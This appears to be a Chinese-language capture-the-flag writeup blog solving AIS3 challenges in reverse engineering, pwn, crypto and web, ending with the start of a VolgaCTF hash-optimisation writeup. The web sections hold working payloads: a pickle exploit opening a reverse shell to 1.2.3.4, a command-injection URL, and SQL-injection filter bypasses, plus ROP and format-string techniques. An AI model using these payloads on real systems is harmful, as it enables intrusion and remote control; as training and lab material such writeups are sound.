他的 packet 是很有秩序沒有亂傳的,header 裡面就是固定傳一個 0xdeadbeeffaceb00c 然後 C&C 把剛剛那段 xor 加密回傳,接著後面檔案名字的大小,和檔案名字,每個都分開傳,每個都自己做 xor cipher,接著就是傳 data,都沒有走歪或是掉進什麼坑的話還是有機會解出來的,我也不常分析 packet 也沒分析過什麼惡意程式,經驗不足所以解很久還要看 hint QQ

1
AIS3{T0y_t0Y_C4n_u_f1nd_A_n_yTh1ng_d3h1nb_nn3??}

Reverse

TsaiBro

這題給了一個 ELF 執行檔還有被加密的 flag 檔,被加密的 flag 檔的一小段大概長下面這樣

發財..發財.......發財....發財.......發財....發財.發財........

隨便用 ida 看了一下後,加密流程就是把 flag 轉乘 flag // 8flag % 8,然後數字是多少就轉乘多少個點,所以最多 8 個點,上面那段就是 [2, 7, 4, 7, 4, 1, 8],那解密就反過來組回去就好。

1
AIS3{y3s_y0u_h4ve_s4w_7h1s_ch4ll3ng3_bef0r3_bu7_its_m0r3_looooooooooooooooooong_7h1s_t1m3}

Fallen Beat

這題給了一隻 jar 執行檔,跑起來是一個節奏遊戲,要 Full Combo 才能拿到 flag,那直接 JD-GUI 下去看他,關鍵在 PanelEnding.class 裡面,定義了被加密的 flag 陣列,還有後面做 xor 解回 flag 印出來的部分

1
2
3
4
5
byte[] flag = new byte[] { 
89, 74, 75, 43, 126, 69, 120, 109, 68, 109,
109, 97, 73, 110, 45, 113, 102, 64, 121, 47,
111, 119, 111, 71, 114, 125, 68, 105, Byte.MAX_VALUE, 124,
94, 103, 46, 107, 97, 104 };
1
2
3
4
5
6
if (t == mc) {
for (i = 0; i < cache.size(); i++)
this.flag[i % this.flag.length] = (byte)(this.flag[i % this.flag.length] ^ ((Integer)cache.get(i)).intValue());
String fff = new String(this.flag);
this.text[0].setText(String.format("Flag: %s", new Object[] { fff }));
}

這裡的 cache 原本以為是內建的東東,結果不是,追了一下發現在 GameControl.class 有定義,東西是從 songs/gekkou/hell.txt 抓出來的,那就直接照著 xor 就解出來了。

1
AIS3{Wow_how_m4ny_h4nds_do_you_h4ve}

Stand up!Brain

這題給了一個 ELF 執行檔,隨便看了一下發現他實做了 Brainfuck,然後程式碼在執行檔裡面,拉出來長這樣

1
-------------------------------------------------------------------[>[-]<[-]]>[>--------------------------------------------------------[>[-]<[-]]>[>-------------------------------------------------------[>[-]<[-]]>[>------------------------------------------------------[>[-]<[-]]>[>---------------------------------------------------[>[-]<[-]]>[>---------------------------------[>[-]<[-]]>[>>----[---->+<]>++.++++++++.++++++++++.>-[----->+<]>.+[--->++<]>+++.>-[--->+<]>-.[---->+++++<]>-.[-->+<]>---.[--->++<]>---.++[->+++<]>.+[-->+<]>+.[--->++<]>---.++[->+++<]>.+++.[--->+<]>----.[-->+<]>-----.[->++<]>+.-[---->+++<]>.--------.>-[--->+<]>.-[----->+<]>-.++++++++.--[----->+++<]>.+++.[--->+<]>-.-[-->+<]>---.++[--->+++++<]>.++++++++++++++.+++[->+++++<]>.[----->+<]>++.>-[----->+<]>.---[->++<]>-.++++++.[--->+<]>+++.+++.[-]]]]]]]

人腦跑了一下發現前面一段是在做很多 if 判斷,後面有 . 的部分是印 flag 的部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# if (ptr[0] - 67) == 0
-------------------------------------------------------------------[>[-]<[-]]>
[
# if (ptr[2] - 56) == 0
>--------------------------------------------------------[>[-]<[-]]>
[
# if (ptr[4] - 55) == 0
>-------------------------------------------------------[>[-]<[-]]>
[
# if (ptr[6] - 54) == 0
>------------------------------------------------------[>[-]<[-]]>
[
# if (ptr[8] - 51) == 0
>---------------------------------------------------[>[-]<[-]]>
[
# if (ptr[8] - 33) == 0
>---------------------------------[>[-]<[-]]>

所以只要你的輸入要是 C8763! 就會進到後面印 flag 的部分,所以可以直接執行原本的程式輸入 C8763! 跟桐人一起使出星爆氣流斬拿 flag,或是直接忽略前面把後面那段貼到線上的 Brainfuck Compiler 執行一下也可以拿到 flag。

1
AIS3{Th1s_1s_br4iNFUCK_bu7_m0r3_ez}

Long Island Iced Tea

這題給了一個 ELF 執行檔還有被加密的 flag 檔,被加密的 flag 長這樣

1
850a2a4d3fac148269726c5f673176335f6d335f55725f49475f346e645f746831735f31735f6d316e655f746572727974657272795f5f7d0000000000000000

隨便嘗試了一下發現超過 8 個 bytes 之後的都不會變而且直接是明文了,把上面那段從 hex 轉回 bytes 就變成

1
\x85\n*M?\xac\x14\x82irl_g1v3_m3_Ur_IG_4nd_th1s_1s_m1ne_terryterry__}\x00\x00\x00\x00\x00\x00\x00\x00

前面 8 個 bytes 已知 AIS3{ 5 個字了,所以直接爆搜剩下 3 個字。

1
AIS3{A!girl_g1v3_m3_Ur_IG_4nd_th1s_1s_m1ne_terryterry__}

La vie en rose

這題給了給 PE 的執行檔,原本以為要逆向 windows 了,打開後看到一堆 python 的函式庫還有 tkinter,發現他是用 PyInstaller 包的,參考 這篇 用官方的 archive_viewer.py 把 pyc 拉出來 ( 其實好像是 pyd 檔才對,好像格式上差了一點 ),在逆 pyc 的時候確定版本很重要,拉出來的 pyc 沒有 magic value header,可以隨便再撈個比如 pyimod01_os_path 出來,這個就有 magic value 是 550d 0d0a,所以是 Python 3.8 b4 版,先嘗試用了一下 uncompyle6 去還原原始碼,可是他噴錯然後失敗了,那我們就直接看 bytecode 吧,用 marshal.loads 載入為 code object 再用 dis.dis 去 disassemble,邊猜他的原始碼,可以邊用 dis.dis(compile('x = 1', 'filename', 'exec')) 去驗證,看了一下會發現

1
flag = "".join(map(chr, [secret[i] ^ notes[i % len(notes)] for i in range(len(secret))]))

flag 是用 secretnotes xor 出來的,secret 是寫死的,notes 是從 input 輸入進來的,然後做了下面的計算算出 result

1
2
3
4
5
notes = list(map(ord, notes))
for i in range(len(notes) - 1):
result.append(notes[i] + notes[i+1])
for i in range(len(notes) - 1):
result.append(notes[i] - notes[i+1])

最後把 result 跟一個固定的陣列做比較,所以我們有 a+ba-b 只要把兩個加起來除以二就拿到 a 了,把 notes 還原再跟 secret xor 就得到 flag 了。

1
AIS3{th1s_fl4g_red_lik3_ros3s_f1lls_ta1wan}

Uroboros

這題給了一個 ELF 執行檔,是 C++ 寫的,總之就逆他,發現他是一個 circular double linked list,結構就像下面這樣很普通。

1
2
3
4
5
struct Node { 
struct Node* prev;
struct Node* next;
int data;
};

總共有 314 個 Node,對輸入的每個字,他會先往下走 輸入的字乘上 7 次然後把走到的那個 Node 的值乘 64 加上 counter,counter 就是一開始是 1,每經過一個字加一,最後把整段輸出跟某個答案比較,對了就代表你的輸入就是 flag,所以就照著解回來,把數字當成 64 進位拆開,比如第 141 個 Node 存的 70 拆成 64 * 1 + 6,代表第一個和第六個字是 ‘A’,因為 ord('A') * 7 = 141 ( mod 341 ),就是把 141 * inverse(7, 341) = 65 = ord('A'),就這樣。

1
AIS3{4ll_humonculus_h4v3_a_ur0b0r0s_m4rk_0n_the1r_b0dy}

Pwn

BOF

最簡單的 buffer overflow,裡面已經有一個函式,直接呼叫就拿到 shell 了,但是記得要跳到 push rbp 下一行,如果跳到 push rbp 的話 stack 會沒有對齊 16 的倍數,做 system 的時候會進到 child thread 然後跑到 movaps XMMWORD PTR [rsp+0x40], xmm0 因為沒對齊就掛了,然後 child thread 死掉 system 就會執行完跳出來 ( 都還沒打到指令 ),出來跑到函式結尾 return 的時候又會掛掉,因為正常呼叫函式都會把 return address 放到 stack 上,但是直接跳過去就沒有放,他就會 return 到奇怪的位置。

1
AIS3{OLd_5ChOOl_tr1ck_T0_m4Ke_s7aCk_A116nmeNt}

Nonsense

這題讓我們輸入 shellcode,然後會檢查 shellcode 裡面有沒有 wubbalubbadubdub 這段字,並且在這段字前面的每個字都要小於等於 31,而找到那段字之後就會直接跳出檢查函式,所以那段字的後面都不會被檢查了,那我們的 shellcode 就構造成最開頭先 ja 跳到後面真正的 shellcode,然後中間放 wubbalubbadubdub,就完成了。

1
2
3
4
5
ja shellcode
... (some padding instructions)
wubbalubbadubdub
shellcode:
...
1
AIS3{Y0U_5peAk_$helL_codE_7hat_iS_CARzy!!!}

Portal Gun

這題就是用 gets 的 bof,有一個函式有用到 system('sh'),但是他有 LD_PRELOAD 一個 hook.so 裡面把 system hook 掉了,所以不能直接叫,那就堆 ROP leak libc address 再自己跳進去 system 吧。

1
AIS3{U5E_Port@L_6uN_7o_GET_tHe_$h3L1_0_o}

Morty School

這題一開始就給你 leak libc address 給你,接下來你可以挑一個 Morty 教,但你給的 index 他沒有檢查,所以可以任意寫一個位址,但是不是直接寫值上去,而是寫到你給他的位址裡面放的位址裡面的值,所以找一下哪裡有存 __stack_chk_fail got 的位址,利用他去寫 __stack_chk_fail 的 got 改成我們串好的 ROP gadgets,然後寫爆 stack( 因為這裡也有 overflow ),就跳去做 ROP 了,一開始有想直接跳 one gadgets 但是條件都不符,所以就自己做 ROP 做 system('/bin/sh')

1
AIS3{s7ay_At_h0ME_And_Keep_$Oc1@L_D1$T4Nc3,M0rTyS}

Death Crystal

這題是 format string,但是有檢查輸入,所有字都不能有 $, \, /, ^,並且 % 後面都不能有 c, p, n, h,主要是不能用 $ 去指定參數,但沒關係就多放幾個 padding 用的把參數推過去就好了,他的 flag 已經讀進來放到 0x202060 了,但是 PIE 有開所以還是要 leak 一下 code base address,要繞過檢查只要前面隨便放個數字就好了,比如 %1p,先 b'%1p' * 11 + b';%1p' leak 出 code base address,然後再 b'%d' * 8 + b'%100sAA\x00' + p64(base + 0x202060) 就拿到 flag 了。

1
AIS3{FOrM@T_5TRin6_15_$o0o_pOw3rFul_And_eAsY}

Meeseeks Box

這題是 heap 題,很一般的有 create, show, delete 的題目,然後沒什麼檢查,而且是 ubuntu 18.04 有 tcache 可以用,所以先弄個夠大的 chunk 然後 free 掉他讓他進到 unsorted bins 就可以拿 libc address 了,然後有 tcache 可以隨便 double free 他去把 __malloc_hook 寫成 one gadget 的位址就完成了。

1
AIS3{G0D_d4mn!_Mr._M3e5EEk5_g1V3S_Y0U_@_sH31l}

Crypto

Brontosaurus

給了一個檔案叫 KcufsJ 裡面是 jsfuck 混淆過的 js code,他的檔名就是倒過來的 jsfuck,所以內容也要倒過來,開瀏覽器 console 執行一下就好了。

1
AIS3{Br0n7Os4uru5_ch3at_3asi1Y}

T-Rex

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
         !       @       #       $       %       &

! V F Y J 6 1

@ 5 0 M 2 9 L

# I W H S 4 Q

$ K G B X T A

% E 3 C 7 P N

& U Z 8 R D O

&$ !# $# @% { %$ #! $& %# &% &% @@ $# %# !& $& !& !@ _ $& @% $$ _ @$ !# !! @% _ #! @@ !& _ $# && #@ !% %$ ## ! # &% @$ _ $& &$ &% %& && #@ _ !@ %$ %& %! $$ &# !# !! &% @% ## $% !% !& @! #& && %& !% %$ %# %$ @% ## %@ @@ $% ## !& #% %! %@ &@ %! &@ %$ $# ## %# !$ &% @% !% !& $& &% %# %@ #$ !# && !& #! %! ## #$ @! #% !! $! $& @& %% @ @ && #& @% @! @# #@ @@ @& !@ %@ !# !# $# $! !@ &$ $@ !! @! &# @$ &! &# $! @@ &@ !% #% #! &@ &$ @@ &$ &! !& #! !# ## %$ !# !# %$ &! !# @# ## @@ $! $$ %# %$ @% @& $! &! !$ $# #$ $& #@ %@ @$ !% %& %! @% #% $! !! #$ &# ## &# && $& !! !% $! @& !% &@ !& $! @# !@ !& @$ $% #& #$ %@ %% %% &! $# !# $& #@ &! !# @! !@ @@ @@ ## !@ $@ !& $# % & %% !# !! $& !$ $% !! @$ @& !& &@ #$ && @% $& $& !% &! && &@ &% @$ &% &$ &@ $$ }

給了一張表和密文,對表轉回去就好了,但要注意 row 和 column 的順序,&$ 是 A 不是 R。

Octopus

這題給 python script 和他執行後的 output,裡面在做 BB84 量子密鑰分發,兩邊的 Basis 都給了,Qubits 也給了,就是把 Basis 一樣部分的那些 Qubits 抓出來轉回 binary 就好了。

1
AIS3{EveryONe_kn0w_Quan7um_k3Y_Distr1but1on--BB84}

Blowfish

這題要 nc 60.250.197.227 12001,有給原始碼,還有一個 python pickle dump 的檔案

1
[{'name': 'maojui', 'password': 'SECRET', 'admin': False}, {'name': 'djosix', 'password': 'S3crE7', 'admin': False}, {'name': 'kaibro', 'password': 'GGInIn', 'admin': False}, {'name': 'others', 'password': '_FLAG_', 'admin': False}]

連上去之後,他會給你這段用 Blowfish 的 CTR Mode 加密的結果當作 token,接著你就可以再把 token 丟回去給他解密,他會看你是不是 admin,因為是 CTR Mode 所以就翻一下 bit 就好了,把那個 False 的部分翻成 True,就這麼簡單。
詳情可以參考 這份投影片 Bit-Flipping Attack 的部分。

1
AIS3{ATk_BloWf1sH-CTR_by_b1t_Flipping_^_^}

Camel

這題給了 sage script,裡面有一個 Elliptic Curve,並給了上面的 9 個點,flag 就是 Elliptic Curve 的參數,因為他給的點的 x 座標都是 $p-1, p+1, p+2, …$,所以帶進 $y^2 = x^3 + a x + b$ 式子 mod p 之後 p 就都不見了

$$
\begin{align}
&(p-1)^3 + a (p-1) + b = -1 - a + b \pmod{p} \\
&(p+1)^3 + a (p+1) + b = 1 + a + b \pmod{p}
\end{align}
$$

上面兩式相加之後可以得到 2b,還有其他兩組 p+3, p-3, p+5, p-5 也是同樣的情況,所以我們可以拿到三組 2b + kp 這樣形式的東西,把他們互減去做 gcd 就得到 p 了,有 p 之後就帶回去就可以得到 a, b

1
AIS3{Curv3_Mak3_M3_Th1nK_Ab0Ut_CaME1_A_P}

Turtle

這題就是 Padding Oracle Attack,我把以前的 script 拿出來然後把 oracle 換成用 requests 去抓就完成了。
詳情可以參考 這份投影片 Padding Oracle Attack 的部分。

1
AIS3{5l0w_4nd_5734dy_w1n5_7h3_r4c3.}

Web

Squirrel

這題網站在 https://squirrel.ais3.org/,打開看一下流量會看到有一個請求是 /api.php?get=/etc/passwd,看起來是直接給你 local file inclusion,抓一下網站原始碼 /api.php?get=/var/www/html/api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

header('Content-Type: application\/json');

if ($file = @$_GET['get']) {
$output = shell_exec("cat '$file'");

if ($output !== null) {
echo json_encode([
'output' => $output
]);
} else {
echo json_encode([
'error' => 'cannot get file'
]);
}
} else {
echo json_encode([
'error' => 'empty file path'
]);
}

看起來是 command injection,/api.php?get='|bash -c 'ls 就可以執行任意 command 了,ls / 看根目錄有個 5qu1rr3l_15_4_k1nd_0f_b16_r47.txt 裡面就是 flag 了 ( 剛好檔名跟 flag 一樣,真佛心 )

1
AIS3{5qu1rr3l_15_4_k1nd_0f_b16_r47}

Shark

這題網站在 https://shark.ais3.org/,首頁有個連結點下去就是 /?path=hint.txt,又是 local file inclusion,但是 hint 說

1
2
3
Please find the other server in the internal network! (flag is on that server)

GET http://some-internal-server/flag

那就先看一下原始碼 /?path=/var/www/html/index.php,直接看會拿到 [forbidden],那隨便繞一下 /?path=file:///var/www/html/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

if ($path = @$_GET['path']) {
if (preg_match('/^(\.|\/)/', $path)) {
// disallow /path/like/this and ../this
die('<pre>[forbidden]</pre>');
}
$content = @file_get_contents($path, FALSE, NULL, 0, 1000);
die('<pre>' . ($content ? htmlentities($content) : '[empty]') . '</pre>');
}

?><!DOCTYPE html>
<head>
<title>🦈🦈🦈</title>
<meta charset="utf-8">
</head>
<body>
<h1>🦈🦈🦈</h1>
<a href="?path=hint.txt">Shark never cries?</a>
</body>

有用 regex 檢查開頭不能是 ./,所以 file://php://filter/read=convert.base64-encode/resource= 都可以繞,再來看 /?path=file:///etc/hosts

1
2
3
4
5
6
7
127.0.0.1	localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.22.0.3 02b23467485e

瀏覽一下 /?path=http://02b23467485e 發現是本機,那就找找子網路下的鄰居們,就找到 /?path=http://172.22.0.2/flag

1
AIS3{5h4rk5_d0n'7_5w1m_b4ckw4rd5}

Elephant

這題網站在 https://elephant.ais3.org/,首頁可以登入,隨便輸入個 username 就登入了不需要密碼,第一步當然是找找有沒有原始碼,看了一下 robots.txt 沒東西,再看 .git 是 Forbidden,中獎,隨便找個 GitDumper 把 .git 抓下來,git log 看到前一個 commit 把原始碼刪掉了,git reset --hard 回去,原始碼如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
<?php

const SESSION = 'elephant_user';
$flag = file_get_contents('/flag');


class User {
public $name;
private $token;

function __construct($name) {
$this->name = $name;
$this->token = md5($_SERVER['REMOTE_ADDR'] . rand());
}

function canReadFlag() {
return strcmp($flag, $this->token) == 0;
}
}

if (isset($_GET['logout'])) {
header('Location: /');
setcookie(SESSION, NULL, 0);
exit;
}


$user = NULL;

if ($name = $_POST['name']) {
$user = new User($name);
header('Location: /');
setcookie(SESSION, base64_encode(serialize($user)), time() + 600);
exit;
} else if ($data = @$_COOKIE[SESSION]) {
$user = unserialize(base64_decode($data));
}



?><!DOCTYPE html>
<head>
<title>Elephant</title>
<meta charset='utf-8'>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
</head>
<body>
<?php if (!$user): ?>
<div id="login">
<h3 class="text-center text-white pt-5">Are you familiar with PHP?</h3>
<div class="container">
<div id="login-row" class="row justify-content-center align-items-center">
<div id="login-column" class="col-md-6">
<div id="login-box" class="col-md-12">
<form id="login-form" class="form" action="" method="post">
<h3 class="text-center text-info">What's your name!?</h3>
<div class="form-group">
<label for="name" class="text-info">Name:</label><br>
<input type="text" name="name" id="name" class="form-control">
</div>
<div class="form-group">
<input type="submit" name="submit" class="btn btn-info btn-md" value="let me in">
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<?php else: ?>
<h3 class="text-center text-white pt-5">You may want to read the source code.</h3>
<div class="container" style="text-align: center">
<img src="images/elephant2.png">
</div>
<hr>
<div class="container">
<div class="row justify-content-center align-items-center">
<div class="col-md-6">
<div class="col-md-12">
<h3 class="text-center text-info">Do you know?</h3>
<h3 class="text-center text-info">PHP's mascot is an elephant!</h3>
Hello, <b><?= $user->name ?></b>!
<?php if ($user->canReadFlag()): ?>
This is your flag: <b><?= $flag ?></b>
<?php else: ?>
Your token is not sufficient to read the flag!
<?php endif; ?>
<a href="?logout">Logout!</a>
</div>
</div>
</div>
</div>
<?php endif ?>
</body>

只要讓 strcmp($flag, $this->token) == 0 就好啦,那 strcmp 已知的問題就是他 compare 陣列隨然會噴 Warning,但結果會是 NULL,而這裡是用兩個 = 不是三個,所以 NULL == 0,把下面這段 base64 encode 後放回 Cookie 就完成啦。

1
O:4:"User":2:{s:4:"name";s:1:"a";s:11:"\x00User\x00token";a:0:{}}
1
AIS3{0nly_3l3ph4n75_5h0uld_0wn_1v0ry}

Snake

這題網站在 https://snake.ais3.org/ ,首頁就是原始碼了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from flask import Flask, Response, request
import pickle, base64, traceback

Response.default_mimetype = 'text/plain'

app = Flask(__name__)

@app.route("/")
def index():
data = request.values.get('data')

if data is not None:
try:
data = base64.b64decode(data)
data = pickle.loads(data)

if data and not data:
return open('/flag').read()

return str(data)
except:
return traceback.format_exc()

return open(__file__).read()

給他 data,他會 pickle.loads,沒有任何檢查,所以直接 reverse shell

1
2
3
4
5
6
7
8
9
10
import os
import pickle
from base64 import *

class Exploit:
def __reduce__(self):
return(os.system, (('bash -c "bash -i >& /dev/tcp/1.2.3.4/9999 0>&1"'),))

ex = Exploit()
print(b64decode(pickle.dumps(ex)))
1
AIS3{7h3_5n4k3_w1ll_4lw4y5_b173_b4ck.}

Owl

這題網站在 https://turtowl.ais3.org/,首頁有登入頁面,他有個白色字寫 GUESS THE STUPID USERNAME / PASSWORD,猜 admin/admin 就登進去了,登進去後,又有個白色字按鈕寫 SHOW HINT,點下去就看到原始碼了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
<?php

if (isset($_GET['source'])) {
highlight_file(__FILE__);
exit;
}

// Settings
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
date_default_timezone_set('Asia/Taipei');
session_start();

// CSRF
if (!isset($_SESSION['csrf_key']))
$_SESSION['csrf_key'] = md5(rand() * rand());
require_once('csrf.php');
$csrf = new Csrf($_SESSION['csrf_key']);


if ($action = @$_GET['action']) {
function redirect($path = '/', $message = null) {
$alert = $message ? 'alert(' . json_encode($message) . ')' : '';
$path = json_encode($path);
die("<script>$alert; document.location.replace($path);</script>");
}

if ($action === 'logout') {
unset($_SESSION['user']);
redirect('/');
}
else if ($action === 'login') {
// Validate CSRF token
$token = @$_POST['csrf_token'];
if (!$token || !$csrf->validate($token)) {
redirect('/', 'invalid csrf_token');
}

// Check if username and password are given
$username = @$_POST['username'];
$password = @$_POST['password'];
if (!$username || !$password) {
redirect('/', 'username and password should not be empty');
}

// Get rid of sqlmap kiddies
if (stripos($_SERVER['HTTP_USER_AGENT'], 'sqlmap') !== false) {
redirect('/', "sqlmap is child's play");
}

// Get rid of you
$bad = [' ', '/*', '*/', 'select', 'union', 'or', 'and', 'where', 'from', '--'];
$username = str_ireplace($bad, '', $username);
$username = str_ireplace($bad, '', $username);

// Auth
$hash = md5($password);
$row = (new SQLite3('/db.sqlite3'))
->querySingle("SELECT * FROM users WHERE username = '$username' AND password = '$hash'", true);
if (!$row) {
redirect('/', 'login failed');
}

$_SESSION['user'] = $row['username'];
redirect('/');
}
else {
redirect('/', "unknown action: $action");
}
}

$user = @$_SESSION['user'];

?><!DOCTYPE html>
<head>
<title>🦉🦉🦉🦉</title>
<meta charset='utf-8'>
<link href="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" rel="stylesheet" id="bootstrap-css">
<script src="//maxcdn.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
</head>
<body>
<?php if (!$user): ?>
<div id="login">
<h3 class="text-center text-white pt-5">GUESS THE STUPID USERNAME / PASSWORD</h3>
<div class="container">
<div id="login-row" class="row justify-content-center align-items-center">
<div id="login-column" class="col-md-6">
<div id="login-box" class="col-md-12">
<form id="login-form" class="form" action="?action=login" method="post">
<input type="hidden" name="csrf_token" value="<?= htmlentities($csrf->generate()) ?>">
<h3 class="text-center text-info">🦉: "Login to see cool things!"</h3>
<div class="form-group">
<label for="name" class="text-info">Username:</label><br>
<input type="text" name="username" id="username" class="form-control"><br>
<label for="name" class="text-info">Password:</label><br>
<input type="text" name="password" id="password" class="form-control"><br>
</div>
<div class="form-group">
<input type="submit" name="submit" class="btn btn-info btn-md" value="Login">
</div>
</form>
</div>
</div>
</div>
</div>
</div>
<?php else: ?>
<h3 class="text-center text-white pt-5"><a style="color: white" href="/?source">SHOW HINT</a></h3>
<div class="container">
<div class="row justify-content-center align-items-center">
<div class="col-md-6">
<div class="col-md-12">
<h3 class="text-center text-info">Nothing</h3>
Hello, <b><?= htmlentities($user) ?></b>, nothing here.
<a href="?action=logout">Logout!</a>
</div>
</div>
</div>
</div>
<?php endif ?>
</body>

就是 sqlite 的 SQL Injection,輸入的 username 會用 str_ireplace 過濾兩次,很好繞過,打 ///*** 就會被過濾成 /*,打 selselselectectect 就會被過濾成 select,所以寫個簡單的 script 自動轉換 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import sys

table = {
' ': '/**/',
'/*': '///***',
'*/': '***///',
'union': 'unununionionion',
'select': 'selselselectectect',
'and': 'anananddd',
'or': 'ooorrr',
'where': 'whewhewhererere',
'from': 'frfrfromomom',
}

inp = sys.argv[1]
for t,v in table.items():
inp = inp.replace(t, v)
print(inp)

注意到 -- 還是沒辦法用,因為 -selselectect- 會被轉成空的,select 順序在 -- 前面會先被過濾掉,str_ireplace 是照著 list 一個個 replace 的,不過我們用 /* 就足夠了。

1
'///******///unununionionion///******///selselselectectect///******///null,sql,null///******///frfrfromomom///******///sqlite_master///******///whewhewhererere///******///type='table'///******///limit///******///1///******///offset///******///0///***

先挖 table,找到 CREATE TABLE garbage ( id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT, value TEXT ),只有這個 garbageusers

1
'///******///unununionionion///******///selselselectectect///******///null,name,null///******///frfrfromomom///******///garbage///******///limit///******///1///******///offset///******///0///***

再挖 db 裡面,挖到有個 name 是 something good,挖他的 value 就看到 flag 了

1
AIS3{4_ch1ld_15_4_curly_d1mpl3d_lun471c}

Rhino

這題網站在 https://rhino.ais3.org/,robots.txt 可以看到東西

1
2
3
4
5
6
7
8
9
10
11
12
13
# RIP robots!

User-agent: *
Disallow: /
Disallow: /index.html
Disallow: /*.xml
Disallow: /recent
Disallow: /assets
Disallow: /about
Disallow: /*.js
Disallow: /*.json
Disallow: /node_modules
Disallow: /flag.txt

然後這個網站看起來是用 express 架的然後放 jekyll 產的 blog,既然是 js project 先看個 package.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
"name": "app",
"version": "1.0.0",
"description": "",
"scripts": {
"start": "node chill.js",
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "djosix",
"license": "ISC",
"dependencies": {
"cookie-session": "^1.4.0",
"express": "^4.17.1"
}
}

然後就看到原始碼叫做 chill.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const express = require('express');
const session = require('cookie-session');

let app = express();

app.use(session({
secret: "I'm watching you."
}));

app.use('/', express.static('./'));

app.get('/flag.txt', (req, res) => {
res.setHeader('Content-Type', 'text/plain');

let n = req.session.magic;

if (n && (n + 420) === 420)
res.sendFile('/flag');
else
res.send('you are a sad person too');
});

app.get('*', function(req, res){
res.status(404).sendFile('404.html', { root: __dirname });
});

app.listen(process.env.PORT, '0.0.0.0');

看起來只要讓他的 n && (n + 420) === 420 就可以讀 flag 了,以前就很常看到 FB 上有人 po 一些 js 的梗圖說明 js 很古怪的行為,隨便看了幾張複習一下,就想到有浮點數誤差的問題,所以 n 設成 0.00000000000001 就可以了,n 是從 req.session.magic 抓的,所以我們要設 req.session.magic 的話,最簡單的方式就是自己把 server 架起來,然後多加一行 req.session.magic = 0.00000000000001,就可以產出 express:sessexpress:sess.sig 兩個 Cookie 了,sig 是用前面設定的 secret: "I'm watching you." 算出來的,詳情可以看 cookie-session

1
AIS3{h4v3_y0u_r34d_7h3_rh1n0_b00k?}
Read more

【CTF Writeups】VolgaCTF Quals 2020 - F-Hash

這題給了一個 x86-64 ELF Executable,直接跑下去跑不出來,一直卡在那裡,逆向一下會發現 13B0 這個函式是一個遞迴函式,他的虛擬碼大概長下面這樣,會一直遞迴呼叫前兩層的答案,很明顯的有很多重複的子問題,這時候就是要用 Dynamic Programming 的思路來把算過的答案記下來就不會跑那麼久了,所以這題就是要優化這個函式,把程式跑完就會印出 flag。

1
2
3
4
5
def _13B0(depth, a, b):
...
r1 = _13B0(depth - 1, a, b)
r2 = _13B0(depth - 2, a, b)
...

以下提供三種解法,讀者可以跟著練習一下。

Rewrite Function with Python

最直覺的方法就是把 IDA decompile 出來的 code 搬到 python 上重寫一下,沒什麼技術,這是我在賽中用的方法,但就是要注意一下型態的問題,比如兩個 unsigned int 相乘可能 overflow 在 python 裡面要 mod (1 << 32),更多細節請看下面的程式碼。

solve-rewrite.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3

table = [0]
for i in range(26):
table += [i * 10 + 1 + (0xf6 << 120)] * 10

def bitcountsum(a, b):
a %= (1 << 64)
b %= (1 << 64)
return bin(a).count('1') + bin(b).count('1')

def calc(a, b, depth = 256):
ans = [0]
ans.append((bitcountsum(a, b), 0, 0))
ans.append((bitcountsum(a ^ 1, b), 0, 1))

for i in range(3, depth + 1):
v15, v16 = ans[i - 1], ans[i - 2]
v13 = ((v15[0] + v15[1] * (1 << 64)) + (v16[0] + v16[1] * (1 << 64)) + bitcountsum((v15[2] + v16[2]) ^ a, b)) % (1 << 128)
v14 = table[i]
while True:
if (v14 >> 64) > (v13 >> 64):
break
if (v14 >> 64) == (v13 >> 64):
if v14 % (1 << 64) >= v13 % (1 << 64):
break
k = max(1, (v13 >> 64) // (v14 >> 64))
v13 = (v13 - k * v14) % (1 << 128)
ans.append((v13 % (1 << 64), (v13 >> 64), (v15[2] + v16[2]) % (1 << 64)))
return ans

al = [0x6369757120656854, 0x706d756a20786f66, 0x20797a616c206568, 0]
bl = [0x206e776f7262206b, 0x74207265766f2073, 0x80676f64, 0x2b]

